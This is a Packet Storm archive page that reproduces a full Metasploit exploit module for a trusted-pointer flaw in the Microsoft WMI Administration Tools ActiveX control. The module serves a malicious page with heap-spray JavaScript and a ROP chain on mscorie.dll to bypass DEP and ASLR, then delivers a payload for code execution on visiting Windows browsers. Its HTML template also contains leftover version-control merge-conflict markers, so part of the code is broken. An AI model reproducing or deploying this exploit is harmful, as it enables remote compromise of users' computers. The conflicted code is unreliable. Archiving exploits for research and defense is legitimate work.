what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft WMI Administration Tools ActiveX Buffer Overflow

Microsoft WMI Administration Tools ActiveX Buffer Overflow
Posted Dec 22, 2010
Authored by MC, jduck, WooYun | Site metasploit.com

This Metasploit module exploits a memory trust issue in the Microsoft WMI Administration tools ActiveX control. When processing a specially crafted HTML page, the WEBSingleView.ocx ActiveX Control (1.50.1131.0) will treat the 'lCtxHandle' parameter to the 'AddContextRef' and 'ReleaseContext' methods as a trusted pointer. It makes an indirect call via this pointer which leads to arbitrary code execution. This exploit utilizes a combination of heap spraying and the .NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This Metasploit module does not opt-in to ASLR. As such, this module should be reliable on all Windows versions.

tags | exploit, arbitrary, code execution, activex
systems | windows
advisories | OSVDB-69942
SHA-256 | 2fbd749099ccbb1eb6187af91f72d8f6bdafd96cce71ee281207ddc8baca9110

Microsoft WMI Administration Tools ActiveX Buffer Overflow

Change Mirror Download
##
# $Id: wmi_admintools.rb 11405 2010-12-23 01:36:54Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({
:os_name => OperatingSystems::WINDOWS,
:rank => NormalRanking,
:vuln_test => nil,
})

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft WMI Administration Tools ActiveX Buffer Overflow',
'Description' => %q{
This module exploits a memory trust issue in the Microsoft WMI
Administration tools ActiveX control. When processing a specially crafted
HTML page, the WEBSingleView.ocx ActiveX Control (1.50.1131.0) will treat
the 'lCtxHandle' parameter to the 'AddContextRef' and 'ReleaseContext' methods
as a trusted pointer. It makes an indirect call via this pointer which leads
to arbitrary code execution.

This exploit utilizes a combination of heap spraying and the
.NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not
opt-in to ASLR. As such, this module should be reliable on all Windows
versions.
},
'License' => MSF_LICENSE,
'Author' => [ 'WooYun', 'MC', 'jduck' ],
'Version' => '$Revision: 11405 $',
'References' =>
[
[ 'OSVDB', '69942'],
[ 'URL', 'http://wooyun.org/bug.php?action=view&id=1006' ],
[ 'URL', 'http://xcon.xfocus.net/XCon2010_ChenXie_EN.pdf' ], # .NET 2.0 ROP (slide 25)
[ 'URL', 'http://secunia.com/advisories/42693' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Windows Universal', { 'SprayTarget' => 0x105ae020 } ],
[ 'Debug Target (Crash)', { 'SprayTarget' => 0x70707070 } ] # must be < 0x80000000
],
'DisclosureDate' => 'Dec 21 2010',
'DefaultTarget' => 0))
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def auto_target(cli, request)
mytarget = nil

agent = request.headers['User-Agent']
#print_status("Checking user agent: #{agent}")
if agent =~ /MSIE 6\.0/ or agent =~ /MSIE 7\.0/ or agent =~ /MSIE 8\.0/
mytarget = targets[1]
else
print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
end
mytarget
end

def on_request_uri(cli, request)

mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
if (not mytarget)
send_not_found(cli)
return
end
end

if request.uri == get_resource() or request.uri =~ /\/$/
print_status("Sending #{self.refname} redirect to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")

redir = get_resource()
redir << '/' if redir[-1,1] != '/'
redir << rand_text_alphanumeric(4+rand(4))
redir << '.html'
send_redirect(cli, redir)

elsif request.uri =~ /\.html?$/
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)

print_status("Sending #{self.refname} HTML to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")

# Generate the ROP payload
buf_addr = mytarget['SprayTarget']
rvas = rvas_mscorie_v2()
rop_stack = generate_rop(buf_addr, rvas)

fix_esp = rva2addr(rvas, 'pop ebp / ret')
pivot1 = rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8')
pivot2 = rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret')

pivot_str = Rex::Text.to_unescape([pivot1].pack('V'))

special_sauce = [
buf_addr + 0x10,
pivot2, # becomes eip via trusted ptr
fix_esp,
0xdeadbeef,
pivot1, # used by AddContextRef
pivot1 # used by ReleaseContext
].pack('V*')

# Append the payload to the rop_stack
rop_stack << p.encoded

# Add in the rest of the ROP stack
special_sauce << rop_stack

special_sauce = Rex::Text.to_unescape(special_sauce)
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
nops = Rex::Text.to_unescape(make_nops(4))
js_function = rand_text_alpha(rand(32)+1)
vname = rand_text_alpha(rand(32) + 1)
rand1 = rand_text_alpha(rand(32) + 1)
rand2 = rand_text_alpha(rand(32) + 1)
rand3 = rand_text_alpha(rand(32) + 1)
rand4 = rand_text_alpha(rand(32) + 1)
rand5 = rand_text_alpha(rand(32) + 1)
rand6 = rand_text_alpha(rand(32) + 1)
rand7 = rand_text_alpha(rand(32) + 1)
rand8 = rand_text_alpha(rand(32) + 1)

clsid = "2745E5F5-D234-11D0-847A-00C04FD7BB08"
progid = "WBEM.SingleViewCtrl.1"

method_names = [
"AddContextRef",
"ReleaseContext"
]

method_name = method_names[rand(method_names.length)]

# Construct the heap spray javascript
custom_js = <<-EOS
function #{js_function}() {
heap = new heapLib.ie(0x20000);
var heapspray = unescape("#{special_sauce}");
while(heapspray.length < 0x1000) heapspray += unescape("%u4444");
var heapblock = heapspray;
while(heapblock.length < 0x40000) heapblock += heapblock;
finalspray = heapblock.substring(2, 0x40000 - 0x21);
for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); }
#{vname}.#{method_name}(#{"0x%x" % buf_addr});
}
EOS
js = heaplib(custom_js)

dll_uri = get_resource()
dll_uri << '/' if dll_uri[-1,1] != '/'
dll_uri << "generic-" + Time.now.to_i.to_s + ".dll"

# Construct the final page
content = <<-EOS
<html>
<<<<<<< .mine
<head>
<script language='javascript'>
#{js}
=======
<object classid="clsid:2745E5F5-D234-11D0-847A-00C04FD7BB08" id="#{vname}"></object>
<script>
#{rand1} = unescape('#{shellcode}');
#{rand2} = unescape('%u0c0c%u0c0c');
#{rand3} = 20;
#{rand4} = #{rand3} + #{rand1}.length;
while(#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
#{rand5} = #{rand2}.substring(0, #{rand4});
#{rand6} = #{rand2}.substring(0, #{rand2}.length - #{rand4});
while( #{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
#{rand7} = new Array();
for(#{rand8} = 0; #{rand8} < 450; #{rand8}++) #{rand7}[#{rand8}] = #{rand6} + #{rand1};
#{vname}.#{method_name}(0x0c0c0c0c);
>>>>>>> .r11397
</script>
</head>
<body onload='#{js_function}()'>
<object classid="#{dll_uri}#GenericControl" />
<object classid="clsid:#{clsid}" id="#{vname}"></object>
</body>
</html>
EOS

# Transmit the response to the client
send_response_html(cli, content)

elsif request.uri =~ /\.dll$/
print_status("Sending #{self.refname} DLL to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")

# Generate a .NET v2.0 DLL, note that it doesn't really matter what this contains since we don't actually
# use it's contents ...
ibase = (0x2000 | rand(0x8000)) << 16
dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16))

# Send a .NET v2.0 DLL down
send_response(cli, dll,
{
'Content-Type' => 'application/x-msdownload',
'Connection' => 'close',
'Pragma' => 'no-cache'
})
end

# Handle the payload
handler(cli)
end

def rvas_mscorie_v2()
# mscorie.dll version v2.0.50727.3053
# Just return this hash
{
'call [ecx+4] / xor eax, eax / pop ebp / ret 8' => 0x237e,
'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret' => 0x575b,
'pop ebp / ret' => 0x5557,
'call [ecx] / pop ebp / ret 0xc' => 0x1ec4,
'pop eax / ret' => 0x5ba1,
'pop ebx / ret' => 0x54c0,
'pop ecx / ret' => 0x1e13,
'pop esi / ret' => 0x1d9a,
'pop edi / ret' => 0x2212,
'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc' => 0x61f6,
'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' => 0x6154,
}
end

def generate_rop(buf_addr, rvas)
# ROP fun! (XP SP3 English, Dec 15 2010)
rvas.merge!({
# Instructions / Name => RVA
'BaseAddress' => 0x63f00000,
'imp_VirtualAlloc' => 0x10f4
})

rop_stack = [
# Allocate an RWX memory segment
'pop ecx / ret',
'imp_VirtualAlloc',

'call [ecx] / pop ebp / ret 0xc',
0, # lpAddress
0x1000, # dwSize
0x3000, # flAllocationType
0x40, # flProt
:unused,

# Copy the original payload
'pop ecx / ret',
:unused,
:unused,
:unused,
:memcpy_dst,

'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc',
:unused,

'pop esi / ret',
:unused,
:unused,
:unused,
:memcpy_src,

'pop edi / ret',
0xdeadf00d # to be filled in above
]
(0x200 / 4).times {
rop_stack << 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret'
}
# Execute the payload ;)
rop_stack << 'call [ecx] / pop ebp / ret 0xc'

rop_stack.map! { |e|
if e.kind_of? String
# Meta-replace (RVA)
raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]
rvas['BaseAddress'] + rvas[e]

elsif e == :unused
# Randomize
rand_text(4).unpack('V').first

elsif e == :memcpy_src
# Based on stack length..
buf_addr + 0x18 + (rop_stack.length * 4)

elsif e == :memcpy_dst
# Store our new memory ptr into our buffer for later popping :)
buf_addr + 0x18 + (21 * 4)

else
# Literal
e
end
}

rop_stack.pack('V*')
end

def rva2addr(rvas, key)
raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]
rvas['BaseAddress'] + rvas[key]
end

end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close